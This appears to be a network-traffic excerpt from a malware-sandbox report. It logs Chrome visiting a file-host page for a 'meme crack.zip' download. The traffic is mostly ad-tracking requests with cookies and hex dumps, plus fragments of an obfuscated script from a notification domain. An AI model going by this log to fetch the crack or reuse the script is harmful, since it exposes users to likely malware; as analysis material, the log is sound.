2024-06-15 09:15:03 UTC	9746	IN	Data Raw: 2d f5 9e f9 62 6e 7a 76 96 33 0a ab e7 19 5d 27 7b 9e ea 5a bd 98 eb c1 4b ea bd 80 db d1 81 dd 46 30 07 8b 8f 22 b4 81 f5 16 ac 65 26 9e 65 0c 56 13 8f f3 2b 9d ac 23 98 6a 04 bd 48 6a ed ba 18 0f 2b dc 5c 8f 35 61 c0 07 ad 51 b3 95 67 7f 91 b9 3a fd 7b dd 7a ac 12 00 00 00 00 b8 05 ec 80 06 00 00 00 00 b8 19 92 14 b2 26 01 63 49 d1 65 eb 22 a9 1c cd 01 46 67 d9 46 c9 2a 26 4f 92 42 8c 92 2f e6 34 d0 59 0f 8d 8b fe cb 52 43 7c f5 99 9c 9e 42 c8 45 7b 35 e3 b3 2c e7 fc e3 40 14 4f 5f 7c c3 dc 72 39 17 d7 5f 4e 2a 0b 13 bb 3e e7 db fa b5 6b ce 3f 4a 05 68 73 dd bc 90 9c 61 e7 a3 75 66 f9 25 1d 8b 31 06 87 d4 d2 5d 92 a8 c3 48 52 2b 57 e3 22 49 c0 b3 b4 28 c5 33 46 f1 b8 a0 c1 ca d7 6a b0 b4 72 46 d1 09 1b c9 53 be 50 75 d2 45 d0 59 04 8b 4e 2c 82 fe c4 e1 Data Ascii: -bnzv3]'{ZKF0"e&eV+#jHj+\5aQg:{z&cIe"FgF&OB/4YRC\|BE{5,@O_\|r9_N>k?Jhsauf%1]HR+W"I(3FjrFSPuEYN,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.16	49840	145.239.192.166	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:03 UTC	778	OUT	GET /wckr.php?ref=https%3A%2F%2Fdownload.oxy.st%2Fd%2FSmUh%2F2%2F5744b8343e4600a69fa0181348e90fc8&id=MTIZ HTTP/1.1 Host: tag.leadplace.fr Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://download.oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-15 09:15:03 UTC	260	IN	HTTP/1.1 200 OK server: nginx/1.20.1 date: Sat, 15 Jun 2024 09:15:03 GMT content-type: text/html; charset=UTF-8 transfer-encoding: chunked x-iplb-request-id: ADFEFA5A:C175_91EFC0A6:01BB_666D5B97_6410B559:10B0 x-iplb-instance: 54208 connection: close
2024-06-15 09:15:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.16	49842	91.228.74.244	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:03 UTC	1007	OUT	GET /pixel;r=1888409421;labels=Categories.technologyandcomputing;rf=0;a=p-6Fv0cGNfc_bw8;url=https%3A%2F%2Fdownload.oxy.st%2Fd%2FSmUh%2F2%2F5744b8343e4600a69fa0181348e90fc8;ref=https%3A%2F%2Foxy.st%2F;uht=2;fpan=0;fpa=P0-2052007182-1718442895609;pbc=;ns=0;ce=1;qjs=1;qv=b70d35e8-20231208114759;cm=;gdpr=0;d=oxy.st;dst=1;et=1718442902355;tzo=240;ogl=;ses=7c707e20-89d0-4f06-b627-c56f11a9a0e9;mdl= HTTP/1.1 Host: pixel.quantserve.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://download.oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: mc=666d5b92-60e70-cef8b-92979
2024-06-15 09:15:03 UTC	448	IN	HTTP/1.1 200 OK Date: Sat, 15 Jun 2024 09:15:03 GMT Content-Type: image/gif Content-Length: 35 Connection: close Attribution-Reporting-Register-Trigger: {"event_trigger_data":[{"filters":[{"label":["K0JYi78fXq1otUId/akXtQ=="],"pcode":["p-6Fv0cGNfc_bw8"]}],"trigger_data":"1"}]} Cache-Control: private, no-cache, no-store, proxy-revalidate Expires: Fri, 04 Aug 1978 12:00:00 GMT Pragma: no-cache Strict-Transport-Security: max-age=86400
2024-06-15 09:15:03 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 80 ff ff ff 00 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.16	49838	157.90.33.121	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:03 UTC	533	OUT	GET /f/sdk.js?z=651407 HTTP/1.1 Host: system-notify.app Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://download.oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-15 09:15:04 UTC	237	IN	HTTP/1.1 200 OK Server: Angie Date: Sat, 15 Jun 2024 09:15:03 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 53632 Connection: close Cache-Control: no-cache, max-age=0, must-revalidate, proxy-revalidate
2024-06-15 09:15:04 UTC	16147	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 73 63 72 69 70 74 50 61 72 61 6d 73 29 20 7b 76 61 72 20 61 32 5f 30 78 36 38 30 66 3d 5b 22 7a 78 7a 4c 42 4e 72 76 75 4b 57 3d 22 2c 22 79 78 6a 4a 41 67 4c 30 7a 77 6e 30 44 78 6a 4c 22 2c 22 43 4d 66 55 7a 67 39 54 22 2c 22 6c 63 62 4f 44 68 72 57 6f 49 61 3d 22 2c 22 7a 32 76 30 73 77 35 5a 44 67 66 53 42 65 6e 56 42 4e 72 4c 45 68 71 3d 22 2c 22 30 6a 2f 71 56 54 63 36 30 6c 64 71 54 59 64 72 47 39 63 59 30 6c 78 71 54 6e 63 2b 30 6c 5a 71 55 39 63 31 30 6c 33 71 55 6e 63 35 22 2c 22 41 77 35 55 7a 78 6a 69 76 65 31 6d 22 2c 22 42 33 62 4c 42 4c 72 59 79 77 6e 52 72 65 69 3d 22 2c 22 7a 67 76 4d 79 78 76 53 44 61 3d 3d 22 2c 22 79 32 66 4a 41 67 75 3d 22 2c 22 43 4d 76 30 44 78 6a 55 22 2c 22 43 32 48 56 44 77 58 4b 75 Data Ascii: (function(scriptParams) {var a2_0x680f=["zxzLBNrvuKW=","yxjJAgL0zwn0DxjL","CMfUzg9T","lcbODhrWoIa=","z2v0sw5ZDgfSBenVBNrLEhq=","0j/qVTc60ldqTYdrG9cY0lxqTnc+0lZqU9c10l3qUnc5","Aw5Uzxjive1m","B3bLBLrYywnRrei=","zgvMyxvSDa==","y2fJAgu=","CMv0DxjU","C2HVDwXKu
2024-06-15 09:15:04 UTC	16384	IN	Data Raw: 65 22 29 5d 28 6e 29 29 7d 63 61 74 63 68 28 6e 29 7b 61 28 6e 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 76 61 72 20 72 3d 61 32 5f 30 78 34 31 62 30 3b 74 72 79 7b 75 28 69 5b 72 28 22 30 78 33 62 22 29 5d 28 6e 29 29 7d 63 61 74 63 68 28 6e 29 7b 61 28 6e 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 75 28 6e 29 7b 76 61 72 20 72 3d 61 32 5f 30 78 34 31 62 30 3b 6e 5b 72 28 22 30 78 62 65 22 29 5d 3f 78 28 6e 5b 72 28 22 30 78 37 37 22 29 5d 29 3a 74 28 6e 5b 72 28 22 30 78 37 37 22 29 5d 29 5b 72 28 22 30 78 35 65 22 29 5d 28 63 2c 6f 29 7d 75 28 28 69 3d 69 5b 65 28 22 30 78 61 62 22 29 5d 28 6e 2c 72 7c 7c 5b 5d 29 29 5b 65 28 22 30 78 38 65 22 29 5d 28 29 29 7d 29 29 7d 2c 63 3d 74 68 69 73 26 26 74 68 69 73 5b 74 28 22 30 78 31 38 22 29 5d 7c 7c 66 Data Ascii: e")](n))}catch(n){a(n)}}function o(n){var r=a2_0x41b0;try{u(i[r("0x3b")](n))}catch(n){a(n)}}function u(n){var r=a2_0x41b0;n[r("0xbe")]?x(n[r("0x77")]):t(n[r("0x77")])[r("0x5e")](c,o)}u((i=i[e("0xab")](n,r\|\|[]))[e("0x8e")]())}))},c=this&&this[t("0x18")]\|\|f
2024-06-15 09:15:04 UTC	16384	IN	Data Raw: 6f 66 20 53 79 6d 62 6f 6c 3d 3d 3d 78 28 22 30 78 32 22 29 26 26 28 75 5b 53 79 6d 62 6f 6c 5b 22 69 74 65 72 61 74 6f 72 22 5d 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 7d 29 2c 75 3b 66 75 6e 63 74 69 6f 6e 20 73 28 6e 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 72 29 7b 72 65 74 75 72 6e 20 76 28 5b 6e 2c 72 5d 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 76 28 69 29 7b 76 61 72 20 74 3d 78 3b 69 66 28 65 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 74 28 22 30 78 35 31 22 29 29 3b 77 68 69 6c 65 28 75 26 26 28 75 3d 30 2c 69 5b 30 5d 26 26 28 61 3d 30 29 29 2c 61 29 74 72 79 7b 69 66 28 65 3d 31 2c 63 26 26 28 6f 3d 69 5b 30 5d 26 32 3f 63 5b 74 28 22 30 78 64 39 22 29 5d 3a 69 5b 30 5d 3f 63 5b 74 28 Data Ascii: of Symbol===x("0x2")&&(u[Symbol["iterator"]]=function(){return this}),u;function s(n){return function(r){return v([n,r])}}function v(i){var t=x;if(e)throw new TypeError(t("0x51"));while(u&&(u=0,i[0]&&(a=0)),a)try{if(e=1,c&&(o=i[0]&2?c[t("0xd9")]:i[0]?c[t(
2024-06-15 09:15:04 UTC	4717	IN	Data Raw: 70 74 22 5d 3d 6c 2c 79 5b 22 64 65 22 5d 3d 64 2c 79 5b 22 66 72 22 5d 3d 68 2c 79 5b 22 69 74 22 5d 3d 43 2c 79 5b 22 69 64 22 5d 3d 47 2c 79 5b 22 74 68 22 5d 3d 67 3b 76 61 72 20 7a 3d 79 7d 2c 72 5b 6e 28 22 30 78 62 62 22 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 72 2c 78 29 7b 76 61 72 20 69 3d 6e 3b 78 5b 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 5d 3d 21 21 5b 5d 2c 78 5b 22 73 6c 65 65 70 22 5d 3d 78 5b 69 28 22 30 78 39 35 22 29 5d 3d 78 5b 69 28 22 30 78 64 61 22 29 5d 3d 78 5b 22 69 73 53 61 66 61 72 69 22 5d 3d 76 6f 69 64 20 30 3b 66 75 6e 63 74 69 6f 6e 20 74 28 29 7b 76 61 72 20 6e 3d 69 3b 72 65 74 75 72 6e 20 6e 61 76 69 67 61 74 6f 72 5b 6e 28 22 30 78 65 38 22 29 5d 26 26 6e 61 76 69 67 61 74 6f 72 5b 6e 28 22 30 78 65 38 22 29 5d 5b 22 69 6e 64 Data Ascii: pt"]=l,y["de"]=d,y["fr"]=h,y["it"]=C,y["id"]=G,y["th"]=g;var z=y},r[n("0xbb")]=function(r,x){var i=n;x["__esModule"]=!![],x["sleep"]=x[i("0x95")]=x[i("0xda")]=x["isSafari"]=void 0;function t(){var n=i;return navigator[n("0xe8")]&&navigator[n("0xe8")]["ind

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.16	49792	162.19.138.116	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:03 UTC	612	OUT	GET /bounce HTTP/1.1 Host: id5-sync.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://download.oxy.st Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://download.oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: id5=bc680ce9-6de4-772b-8423-ee412e5b4326#1718442898449#1
2024-06-15 09:15:04 UTC	347	IN	HTTP/1.1 200 OK date: Sat, 15 Jun 2024 09:15:03 GMT vary: Accept-Encoding access-control-allow-origin: https://download.oxy.st vary: Origin access-control-allow-credentials: true content-type: text/plain;charset=utf-8 transfer-encoding: chunked strict-transport-security: max-age=63072000; includeSubDomains; preload connection: close
2024-06-15 09:15:04 UTC	36	IN	Data Raw: 31 45 0d 0a 7b 22 62 6f 75 6e 63 65 22 3a 7b 22 73 65 74 43 6f 6f 6b 69 65 22 3a 66 61 6c 73 65 7d 7d 0d 0a Data Ascii: 1E{"bounce":{"setCookie":false}}
2024-06-15 09:15:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.16	49851	185.178.208.137	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:04 UTC	501	OUT	GET /slake/asset/img/bg/footer-bg.png HTTP/1.1 Host: download.oxy.st Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609; __b22_=1661361629
2024-06-15 09:15:04 UTC	356	IN	HTTP/1.1 200 OK Server: ddos-guard Connection: close Content-Security-Policy: upgrade-insecure-requests; Date: Sun, 09 Jun 2024 20:34:52 GMT Content-Type: image/png Content-Length: 74560 Last-Modified: Sun, 21 Jun 2020 20:10:26 GMT Access-Control-Allow-Origin: * Accept-Ranges: bytes Etag: "5eefbeb2-12340" Age: 477612 DDG-Cache-Status: HIT
2024-06-15 09:15:04 UTC	1102	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 07 80 00 00 03 7a 08 02 00 00 00 e0 86 c3 fd 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 84 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 32 31 20 37 39 2e 31 35 34 39 31 31 2c 20 32 30 31 33 2f 31 30 2f 32 39 2d 31 31 3a 34 37 3a 31 36 20 20 Data Ascii: PNGIHDRztEXtSoftwareAdobe ImageReadyqe<iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16
2024-06-15 09:15:04 UTC	16384	IN	Data Raw: 00 00 00 00 70 0a 09 68 00 00 00 00 00 4e 21 01 0d 00 00 00 00 c0 29 24 a0 01 00 00 00 00 38 85 04 34 00 00 00 00 00 a7 90 80 06 00 00 00 00 e0 14 12 d0 00 00 00 00 00 9c 42 02 1a 00 00 00 00 80 53 48 40 03 00 00 00 00 70 0a 09 68 00 00 00 00 00 4e 21 01 0d 00 00 00 00 c0 29 24 a0 01 00 00 00 00 38 85 04 34 00 00 00 00 00 a7 90 80 06 00 00 00 00 e0 14 12 d0 00 00 00 00 00 9c 42 02 1a 00 00 00 00 80 53 48 40 03 00 00 00 00 70 0a 09 68 00 00 00 00 00 4e 21 01 0d 00 00 00 00 c0 29 24 a0 01 00 00 00 00 38 85 04 34 00 00 00 00 00 a7 90 80 06 00 00 00 00 e0 14 12 d0 00 00 00 00 00 9c 42 02 1a 00 00 00 00 80 53 48 40 03 00 00 00 00 70 0a 09 68 00 00 00 00 00 4e 21 01 0d 00 00 00 00 c0 29 24 a0 01 00 00 00 00 38 85 04 34 00 00 00 00 00 a7 90 80 06 00 00 00 00 e0 Data Ascii: phN!)$84BSH@phN!)$84BSH@phN!)$84BSH@phN!)$84
2024-06-15 09:15:04 UTC	16384	IN	Data Raw: cb ba d0 53 27 b7 51 ae a1 c3 54 82 0c 35 a3 1d 7a 94 7c 0d dd b2 31 73 94 f9 80 b2 21 58 d9 2c 6b 1b ba e6 4d ca 52 eb 58 f2 69 79 2c 19 9f f9 cf db 3e 7b 35 c5 b2 09 9d ea b9 25 23 56 0e ab 29 ed e1 f5 2d 10 7f cb 07 33 e5 75 2c 31 6f 72 55 9b b9 2d 03 cc f5 43 2c 3d bf ce 6d 9b c7 9b b9 2d 9f d2 32 c0 ba 4b 61 ac e7 ae d3 18 c6 b6 d3 5a 9f f0 65 1a 7b e8 b0 99 c6 b8 7c 82 f5 d3 0a f5 a2 6d 1a f9 fc 6f 84 9b 07 f3 d7 3f d6 7c 7d 06 e7 5b 34 0c 31 ac f7 4e bb 79 de 1c e5 f0 49 2f 4f 4c 69 ac 1b 0e a6 f9 aa 43 3d b2 b6 6c df 3c db f7 5b 9c 4f 1b 96 27 eb ae 31 f4 28 f5 e9 98 da 2e 9d fb d0 65 3b c0 fa 8e ca 2d 74 79 3b e5 b9 33 69 19 e0 c3 97 cc f1 ab 6c 1a e3 f2 8e 9a fa 58 c2 f5 19 ac 97 dc 8c ba 0d 70 99 db 58 c6 57 7e c5 5f 7e f3 6c a2 e4 68 2b 51 00 Data Ascii: S'QT5z\|1s!X,kMRXiy,>{5%#V)-3u,1orU-C,=m-2KaZe{\|mo?\|}[41NyI/OLiC=l<[O'1(.e;-ty;3ilXpXW~_~lh+Q
2024-06-15 09:15:05 UTC	16384	IN	Data Raw: 32 a6 93 1d 78 45 98 c7 7d 4f 42 af db 83 7e 8e 6d 57 0a c6 3c ed 6a 5b 51 30 0b d3 8c 8a 82 87 d5 93 a4 34 65 db ee ae d6 e3 80 9f 21 80 eb 0a 6a d1 af 44 07 bb 7d ad 04 aa 8b 66 4f de 39 d2 ad 70 2f c2 37 6c b1 2d 51 ad 7e e2 27 ea 26 94 81 99 da fc 62 89 23 58 32 cf e0 a2 51 5c b4 e4 04 be e1 2e 91 de 2b 38 52 4b a2 e8 63 30 d6 24 53 ca cd 25 3a f6 29 c9 1c 64 9e 31 c9 08 cb 7d ca 09 5d 6a ed f3 9b 5f 29 e8 8d 82 9c 79 8c 82 26 bf 9d b1 2c 33 cf 94 df 82 3a cf ce 39 21 8e 5a 2f 6c 9b dd 69 72 9e cc 62 1e 13 a4 f9 8d 38 bf f5 b6 1d 32 0f eb 17 3b 17 ed 9c c7 4d 2e 4a f6 09 15 87 27 54 53 30 c6 f3 54 f6 19 31 58 a8 49 5c d9 21 3d 02 00 00 00 c0 af 0f 74 40 03 00 00 00 c0 1b df 9c 1d b5 17 fe 2d 1f f7 24 95 ca 2c db e5 fd 7d 2b a7 3c bd 9d 5a 6a 64 d2 a7 Data Ascii: 2xE}OB~mW<j[Q04e!jD}fO9p/7l-Q~'&b#X2Q\.+8RKc0$S%:)d1}]j_)y&,3:9!Z/lirb82;M.J'TS0T1XI\!=t@-$,}+<Zjd
2024-06-15 09:15:05 UTC	16384	IN	Data Raw: e6 9b fb e8 f4 28 39 f6 92 af cd 0f e8 28 3f 24 ff 87 4d b4 9c 8b 17 42 7e e6 23 e5 38 8a c7 36 92 8e e2 31 dd aa 44 bd f7 55 66 a2 5b d2 0c a2 e7 af 26 c8 99 78 c8 8e b0 8b 83 97 40 26 9e df d9 65 97 ea 1c f4 7a 86 a7 af d3 ad 9f 1d c5 c8 b3 83 78 0e f2 44 20 f9 da 85 b7 c6 76 1d 6c b3 a3 9b 83 34 cc 8e 32 b6 3c 8c d2 ac ce c1 ce 0b 9f 07 38 ce c1 e2 c5 e6 20 59 5e 98 28 46 8b 55 b2 b1 ad 5e c8 26 e6 d0 41 d9 cc bb b7 c8 2c 9a 5e b5 0e f2 ae 5f 73 dd 2d 32 8b 45 30 7b 0d c9 c9 f4 1f 5d 07 bb 21 25 1d c6 6a 6c e2 c9 1d cc 4f c4 0b 85 b7 87 2c 8a 2a e2 a9 ae f3 b3 88 97 6e c1 5c af 6f ea 9a c5 a4 c7 27 36 2f 62 a5 47 4b 90 77 1d ec 66 07 00 00 00 00 c0 cb 41 02 1a 00 00 00 00 0f d2 5e 75 e7 77 cf 9d 9d ab c5 19 19 6f 65 30 6a 4b 7b d3 be bd 1a af 7f 0f 24 Data Ascii: (9(?$MB~#861DUf[&x@&ezxD vl42<8 Y^(FU^&A,^_s-2E0{]!%jlO,*n\o'6/bGKwfA^uwoe0jK{$
2024-06-15 09:15:05 UTC	7922	IN	Data Raw: c4 33 d1 c9 13 23 d8 e9 c4 a3 0c f8 bb ad 1d 75 a6 87 9b c5 43 b6 37 b9 96 08 7f 6c 91 99 ba 9e 89 47 65 bb 5a f4 5e 30 dd 6c 22 bc d2 0b 00 00 00 00 9e 42 fc eb ef ff 61 14 00 00 00 00 00 5e 44 4a 94 96 73 4a 0b 67 21 4b 0a 32 db cc e8 88 eb b2 5a 6e c8 8c ae 25 7d b2 6d 59 d2 af fc a7 16 2b e5 03 c4 b8 dd 39 b7 24 5a c4 16 e4 5a f1 b2 a8 17 cb 55 51 a2 65 e3 9a 3a d7 de 05 6c 02 7c 1e 35 58 a9 46 b0 05 2b 1b 5b 04 13 37 5c 47 30 2d 9b 08 a6 34 09 d6 d3 23 38 4a d4 a3 1e ee db e8 89 23 5d c5 c3 d5 db 55 51 83 78 38 f1 ba 23 1e 0d eb 59 93 d0 b6 26 b4 45 a6 7c 81 41 dd 22 e3 c6 45 26 15 2f 92 59 b6 6b 97 c5 69 b9 f0 c9 22 53 5c 9b 97 73 49 56 87 17 cd b7 a2 5b 72 1e 4b 19 00 00 00 f0 d6 60 07 34 00 00 00 00 c0 2b e1 bd 80 0b a5 44 76 52 5c c9 17 a7 c5 c9 Data Ascii: 3#uC7lGeZ^0l"Ba^DJsJg!K2Zn%}mY+9$ZZUQe:l\|5XF+[7\G0-4#8J#]UQx8#Y&E\|A"E&/Yki"S\sIV[rK`4+DvR\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.16	49847	99.81.158.184	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:04 UTC	831	OUT	POST /fire.js?pid=12771&ref=https%3A%2F%2Foxy.st%2F&url=https%3A%2F%2Fdownload.oxy.st%2Fd%2FSmUh%2F2%2F5744b8343e4600a69fa0181348e90fc8&hn_ver=76&fid=48758480-4109-4e67-8f00-773986908703&dsp=TTD&dsp_uid=7a9427d7-5567-4b13-ad78-e53aa5bc8a0b HTTP/1.1 Host: s.cpx.to Connection: keep-alive Content-Length: 147 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://download.oxy.st Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://download.oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-15 09:15:04 UTC	147	OUT	Data Raw: 7b 22 70 61 67 65 4d 65 74 61 22 3a 7b 22 74 69 74 6c 65 22 3a 22 44 6f 77 6e 6c 6f 61 64 20 66 69 6c 65 20 6d 65 6d 65 20 63 72 61 63 6b 2e 7a 69 70 20 6f 6e 20 4f 78 79 2e 43 6c 6f 75 64 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 44 6f 77 6e 6c 6f 61 64 20 66 69 6c 65 20 6d 65 6d 65 20 63 72 61 63 6b 2e 7a 69 70 20 6f 6e 20 4f 78 79 2e 43 6c 6f 75 64 20 66 6f 72 20 66 72 65 65 20 61 74 20 68 69 67 68 20 73 70 65 65 64 22 7d 7d Data Ascii: {"pageMeta":{"title":"Download file meme crack.zip on Oxy.Cloud","description":"Download file meme crack.zip on Oxy.Cloud for free at high speed"}}
2024-06-15 09:15:04 UTC	266	IN	HTTP/1.1 200 OK Date: Sat, 15 Jun 2024 09:15:04 GMT Content-Length: 64 Connection: close Expires: Sat, 15 Jun 2024 09:15:04 GMT Vary: Origin Access-Control-Allow-Origin: https://download.oxy.st Access-Control-Allow-Credentials: true P3P: CP="NOI DEV ADM"
2024-06-15 09:15:04 UTC	64	IN	Data Raw: 72 75 62 69 63 6f 6e 2c 69 64 35 2c 64 62 6d 2c 4f 50 45 4e 58 2c 61 70 70 5f 6e 65 78 75 73 2c 70 75 62 6d 61 74 69 63 2c 66 69 72 73 74 49 64 2c 70 75 62 5f 63 6f 6d 6d 6f 6e 2c 75 69 64 32 Data Ascii: rubicon,id5,dbm,OPENX,app_nexus,pubmatic,firstId,pub_common,uid2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.16	49849	162.19.138.117	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:04 UTC	553	OUT	GET /lb/v1 HTTP/1.1 Host: lb.eu-1-id5-sync.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://download.oxy.st Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://download.oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-15 09:15:04 UTC	377	IN	HTTP/1.1 200 vary: Origin vary: Access-Control-Request-Method vary: Access-Control-Request-Headers access-control-allow-origin: https://download.oxy.st vary: Origin content-type: application/json;charset=UTF-8 transfer-encoding: chunked date: Sat, 15 Jun 2024 09:15:04 GMT strict-transport-security: max-age=63072000; includeSubDomains; preload connection: close
2024-06-15 09:15:04 UTC	39	IN	Data Raw: 32 31 0d 0a 7b 22 6c 62 22 3a 22 41 75 47 35 64 6b 51 66 31 57 61 56 6c 6b 33 69 4c 57 44 46 36 51 3d 3d 22 7d 0d 0a Data Ascii: 21{"lb":"AuG5dkQf1WaVlk3iLWDF6Q=="}
2024-06-15 09:15:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.16	49848	185.89.210.212	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
